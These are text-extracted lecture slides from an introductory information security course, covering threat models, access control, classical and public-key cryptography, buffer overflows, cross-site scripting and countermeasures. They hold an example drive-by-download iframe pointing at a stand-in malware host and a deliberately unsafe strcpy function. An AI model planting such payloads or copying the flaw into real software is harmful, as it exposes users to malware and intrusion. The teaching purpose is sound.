A brief introduction to information security Part II Tyler Moore - - PDF document

a brief introduction to information security
SMART_READER_LITE
LIVE PREVIEW

A brief introduction to information security Part II Tyler Moore - - PDF document

Notes A brief introduction to information security Part II Tyler Moore Computer Science & Engineering Department, SMU, Dallas, TX August 28 & 30, 2012 Engineered defenses to achieve protection goals Security threats Countering


slide-1
SLIDE 1

A brief introduction to information security

Part II Tyler Moore

Computer Science & Engineering Department, SMU, Dallas, TX

August 28 & 30, 2012

Engineered defenses to achieve protection goals Security threats Countering security threats

Outline

1

Engineered defenses to achieve protection goals Threat models Access control for system security Cryptography for communication security

2

Security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

3

Countering security threats Ex post countermeasures Ex ante countermeasures

2 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats

Let’s recap last time

Safety vs. security Information security protection goals

1

Confidentiality: information is accessible only to authorized parties

2

Integrity: modification of information can be detected

3

Availability: authorized parties can access information (and use resources) when and where it is needed

Identification vs. authentication vs. authorization Computer systems and networks

3 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats

Information security overview

Protection Goals Confidentiality Integrity Availability

  • 1. Engineer defenses

Satisfy goals

  • 2. Security threats
  • 3. Countering security threats

4 / 57

Notes Notes Notes Notes

slide-2
SLIDE 2

Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Engineered defenses to achieve protection goals

Protection Goals Confidentiality Integrity Availability

  • 1. Engineer defenses

Satisfy goals

  • 2. Security threats
  • 3. Countering security threats

6 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Threat models

All security is relative, but relative to what?

⇒ Threat models codify assumed adversary behavior

Threat models articulate assumed adversary behavior

1

Goal: disrupting defender’s protection goals, make money, wreak havoc

2

Knowledge: does the attacker know how the defense works?

3

Capabilities: Computational power available, time available to target defenders, local vs. global eavesdropping, active vs. passive

Question: could a threat model be fully specified by assuming a certain level of financial resources available to the adversary?

7 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Access control

Recall claim from last class: authorization decision is the fundamental challenge of security engineering Access control is how computer systems enforce authorization decisions

⇒ definition: ensuring that authorized user can access and modify only those resources to which he is entitled

8 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

The rise of the superuser

Operating systems (OSes) separate processes that run the OS from processes run by users OS processes have many powers – reading all communications, installing software, etc. These powers can readily be abused by a malicious software designer Solution: create a superuser that can have OS-level capabilities, constrain what regular users can do

9 / 57

Notes Notes Notes Notes

slide-3
SLIDE 3

Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Operating System Security

KERNEL

P3 P2 P1 R1 R2 R3

Pi process i Rj resource j

prevent side channels and covert channels enforce authorization decisions for inter-process communication and resource access

Same principle on higher layers: virtualization, sandboxes, . . .

10 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Sharing resources: mandatory vs. discretionary access control

Mandatory access control (MAC)

Sysadmin decides what processes should read and write to

  • thers in accordance with a security policy

Example security policy: two levels (hi and low)

no read up: low cannot read hi no write down: hi cannot write to low

Under MAC, OS enforces consistent policy to all files and processes in a “top-down” fashion

+ Consistent policies easier to enforce when baked into the OS

  • Inflexible policies encourage workarounds to get work done

11 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Discretionary access control (DAC)

DAC a “bottom-up” approach to access control File owners set access control policies (e.g., which users can read, write or execute given files) OS then enforces the permissions set by the owner + Offers great flexibility in how files and processes can be accessed

  • Enforcing consistent policies harder
  • Makes user-account takeovers potentially more harmful

12 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Principle of least privilege

Principle of least privilege: any file or process should be assigned the minimum level of permissions needed in order to complete required task + Limits the damage a process can cause others

  • Conflicts with desire to make systems easy-to-use and

adaptable Question: what incentive conflict does a programmer face when requesting privileges?

13 / 57

Notes Notes Notes Notes

slide-4
SLIDE 4

Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Cryptography

Protecting information on a computer system is necessary but not sufficient to meet protection goals Must also protect communications between systems Cryptography (crypto for short) can be used to ensure confidentiality and integrity of communications

15 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Recall the broker example from last time

Broker Exchange BUY,200,GOOG,$600.25

16 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Crypto traditionally refers to Alice and Bob

Alice Bob I love your music Eve Mallory hate

17 / 57

Notes Notes Notes Notes

slide-5
SLIDE 5

Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Crypto B.C.

Julius Caesar enciphered messages by shifting letters by three Those receiving the message knew to shift back Plaintext: THISISIMPORTANT Caesar Secret key: DDDDDDDDDDDDDDD Ciphertext: WKLVLVLPSRUWDQW

18 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Vigen` ere cipher

Shift each letter by a different amount, repeating after n letters Plaintext: THISISIMPORTANT Vigen` ere Secret key: DABDABDABDABDAB Ciphertext: WHJVITLMQRRUDNU

19 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

One-time pad

Shift each letter by a different amount, never repeating Plaintext: THISISIMPORTANT One-time pad Secret key: DABHJIZXEBTULQP Ciphertext: WHJZRAHJTPKNLDI Question: what is the key length?

20 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Symmetric cryptography

Alice Bob {I love your music}kAB Key distribution center kAB kAB

21 / 57

Notes Notes Notes Notes

slide-6
SLIDE 6

Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Symmetric cryptography

Instead of a word, secret keys in modern symmetric encryption systems (e.g., AES) are stored as random sequences of bits Keys are short relative to the message (unless using a

  • ne-time pad)

Limiting factor: distributing a shared secret to both parties before communicating securely

22 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Perils of long keys: Russian one-time pad

Source: Marcus Ranum/MI5

23 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Asymmetric cryptography (aka public-key cryptography)

Huge breakthrough: communicating parties do not need to share a secret key in advance Trick: use one-way functions that are easy to compute but difficult to reverse Rather than a shared secret, generate a key pair

KA−1: public key to encrypt messages KA: private key to decrypt messages

Private keys kept secret, but public keys can be told to everyone Keys are tied to individuals, not pairs of individuals

⇒ n key pairs for n people Question: how many symmetric keys would be needed for n people to communicate?

24 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Asymmetric cryptography: protecting confidentiality

Alice Bob Broadcast KB−1 {I love your music}KB−1 Decrypt message {{I love your music}kB−1}KB

25 / 57

Notes Notes Notes Notes

slide-7
SLIDE 7

Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Asymmetric cryptography: protecting integrity

Alice Bob Broadcast KA−1 {I love your music}KA Decrypt message {{I love your music}kA}KA−1

26 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Using asymmetric crypto to distribute symmetric keys

Bob Amazon

  • 0. Publish public key KA−1 to C.A.
  • 1. Look up Amazon’s public key

KA−1

  • 2. Choose session key KBA,

encrypt and send {KBA}KA−1

  • 3. Decrypt {{KBA}KA−1}KA using

private keyKA

  • 4. {Request payment}KBA
  • 5. {Credit Card #}KBA

27 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Threat models Access control for system security Cryptography for communication security

Why crypto is still hard in practice

Key management is hard to get right

⇒ Establishing public-key infrastructure tying identifiers to keys has proved elusive

Configuring systems can be difficult

⇒ Coordinating the distribution of information such as public keys before communication is inconvenient

Cryptosystems are often brittle and do not fail gracefully

28 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Security threats

Protection Goals Confidentiality Integrity Availability

  • 1. Engineer defenses

Satisfy goals

  • 2. Security threats
  • 3. Countering security threats

30 / 57

Notes Notes Notes Notes

slide-8
SLIDE 8

Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Security threats: assumptions gone awry

System vulnerabilities: violate engineering assumptions Cryptanalysis: violate physical or mathematical assumptions People just don’t behave as designers expect

Violate assumptions about attacker behavior Violate assumptions about defender behavior

31 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Privilege-escalation attacks

Recall that operating systems separate privileged data and programs from normal files and processes Only superusers are allowed to execute sensitive and potentially harmful operations Privilege-escalation attack: take on the role of superuser to carry out unauthorized actions (e.g., installing malicious software or reading sensitive files) Adversaries exploit “bugs” to carry out attacks

32 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Buffer Overflow

Example function in C:

i n t parse ( char ∗ msg) { char tmp [ 1 0 0 0 ] ; s t r c p y (tmp , msg ) ; . . . // do more return 0; } Strings are zero-delimited arrays: ”test” → 0x74 65 73 74 00 Function strcpy cannot know the size

  • f the destination buffer tmp.

Stack of the x86 architecture:

return address local variables address space

&tmp[0] &tmp[1000]

1001st to 1004th character

  • verwrite return address

malicious code

User-provided code is executed with the privileges of the host program.

33 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Cross Site Scripting

client A web server attacker B

post malformed user comment initiate session receive session ID store as cookie

. . .

access user-generated content retrieve B’s posting steal A’s session ID

. . .

impersonate A

34 / 57

Notes Notes Notes Notes

slide-9
SLIDE 9

Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Code-injection attacks on xkcd

35 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Drive-by-download attacks

Work in a similar manner to cross-site scripting, but actually gain write access to the web server Insert embedded links to malicious websites that download links automatically

⇒ <iframe height=‘‘1’’ width=‘‘1’’ src=‘‘http://evil.ru/keylogger.exe’’></iframe>

Question: how would encryption help prevent drive-by-download attacks or code-injection attacks?

36 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Where attacks take place

ISP 1 ISP 2

switch end-user PC router router Web server Attacker 1: directly target end user

spam spam

2: eavesdrop Malicious server 3: host malware 4 : i n s e r t m a l w a r e

37 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Cryptanalysis

Goal of cryptanalysis: descramble ciphertext without knowing the decryption key Simplest approach: brute force

Key of length ℓ bits ⇒ 2ℓ−1 guesses For AES-128, ℓ = 128, so brute force requires 2127 attempts (100 times a trillion times a trillion times a trillion)

Cryptanalysts look for shortcuts (so that 2k guesses required, where k < ℓ What do the shortcuts look like?

Mathematical assumptions can fail Look for patterns in ciphertext (i.e., loss of randomness)

38 / 57

Notes Notes Notes Notes

slide-10
SLIDE 10

Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Distribution of letters in English

39 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Kerckhoffs’ Principle

Cryptographic algorithms must be public. Security depends only

  • n the secrecy of the keys.

Rationales: – avoid blind trust – more eyes find more flaws – err on the side of caution – changing keys is easier than changing the system – the only reasonable assumption to protect a public infrastructure

→ No security by obscurity

40 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

What can happen if you ignore Kerckhoffs

Source: http://www.schneier.com/blog/archives/2008/08/hacking_mifare.html 41 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Do cryptanalysts have the right threat model?

Adi Shamir Cryptography is usually bypassed. I am not aware of any major world-class security system employing cryptography in which the hackers penetrated the system by actually going through the

  • cryptanalysis. [. . . ] Usually there are

much simpler ways of penetrating the security system.

42 / 57

Notes Notes Notes Notes

slide-11
SLIDE 11

Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Most attackers bypass the threat model

This shouldn’t be surprising: a well-engineered system will be designed so that the attacks they planned for are hard to carry

  • ut

Threat models can go wrong in two ways

1

Ascribe too much power to an attacker or focus too much on a particular mode of attack

⇒ Leads to “over-engineering” and over-investment in defenses against certain threats

2

Miss attacks by not accounting for behaviors and capabilities

43 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Threat model adopted by cryptanalysts fail on both counts

Often overestimates attacker capability (focus on nation-state as adversary) Singular focus on decrypting ciphertext without access to the encryption key ignores how most attacks take place Much cheaper for an attacker to find a way to recover the key

44 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Cold-boot attacks recover keys stored in volatile memory

Source: https://citp.princeton.edu/research/memory/ 45 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Users don’t always behave as system designers envision

Many successful attacks trick users into sharing keys and passwords Systems security is predicated on users only taking actions that are in their own interest

⇒ Makes their job tractable ⇒ Offloads the hard decision of whether to allow untrusted software to execute onto the end user

46 / 57

Notes Notes Notes Notes

slide-12
SLIDE 12

Engineered defenses to achieve protection goals Security threats Countering security threats System vulnerabilities: violating engineering assumptions Cryptanalysis: violating physical or mathematical assumptions Violating assumptions about attacker behavior Violating assumptions about defender behavior

Prompts condition users to ignore security warnings

47 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Countering security threats

Protection Goals Confidentiality Integrity Availability

  • 1. Engineer defenses

Satisfy goals

  • 2. Security threats
  • 3. Countering security threats

49 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Countering security threats

When weaknesses are discovered in security defenses, defenders have two choices

1

Make fundamental changes to defenses

2

Counter the attacks directly

First approach could lead to improved security in the long run, but it is slow Second approach is reactive, but more responsive

1

Ex post countermeasures: counter attacks and flaws after they are encountered

2

Ex ante countermeasures: counter flaws before an attack is realized

50 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Ex post countermeasure: antivirus software

Most common ex post countermeasure Checks for “signatures” of malicious executables running on a system Database constantly growing to check for newly discovered malware Cohen proved that detecting viruses in general reduces to the halting problem

⇒ AV software likely to remain a step behind virus writers

51 / 57

Notes Notes Notes Notes

slide-13
SLIDE 13

Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Ex post countermeasure: intrusion detection systems

IDSes look for attacks taking place on the network

Rule-based systems check for known attack patterns Anomaly-based systems check for deviations from “good” traffic patterns

Challenges for IDSes

Internet is noisy – distinguishing malice from incompetence is non-trivial False positives can undermine the system when true attacks are rare

52 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Ex post countermeasure: intrusion detection systems

Suppose there are 10 true attacks for every one million network sessions 1% false positive rate ⇒ 10, 000 false positives per one million sessions 1000:1 ratio of false positives to true positives

53 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Ex post countermeasure: filters

Filters are popular tool to block unwanted traffic Usually operate at either network or application layer

Network layer is more efficient, but less granular (e.g., block

  • utgoing port 25 trafic, allow incoming port 80)

Application layer is more granular (e.g., block unwanted URLs), but easier to circumvent and raises privacy concerns

Ingress vs. egress filtering

Ingress filtering can give false sense of security – many harms emanate from within a network Egress filtering protects against outgoing harm – when might you want that?

54 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Where defenses are placed

ISP 1 ISP 2

switch end-user PC router router Web server Attacker 1: directly target end user

spam spam

2: eavesdrop Malicious server 3: host malware 4: insert malware Defense antivirus firewall blacklist Defense IDS firewall

  • app. relay

Defense IDS firewall Input validation

55 / 57

Notes Notes Notes Notes

slide-14
SLIDE 14

Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Considerations for where to defend

Technical considerations

Hard (and sometimes illegal!) to do application level filtering at ISPs Web servers should do input validation for maximum coverage

Economic considerations Consider these attack scenarios: discuss which stakeholders have incentive to defend

1

Spam coming from an infected computer

2

Website hacked to distribute drive-by-download

3

Website vulnerable to input-validation attack that steals server data

56 / 57 Engineered defenses to achieve protection goals Security threats Countering security threats Ex post countermeasures Ex ante countermeasures

Ex ante countermeasure

Can be more proactive in defense, taking action before an incident happens Compliance mechanisms (e.g., audit, penetration testing) look for configuration flaws before attackers do Fundamental changes to the security infrastructure (e.g., Microsoft’s effort to improve security during software development) Key issue: do you incur small certain cost now or larger but more uncertain cost later?

57 / 57

Notes Notes Notes Notes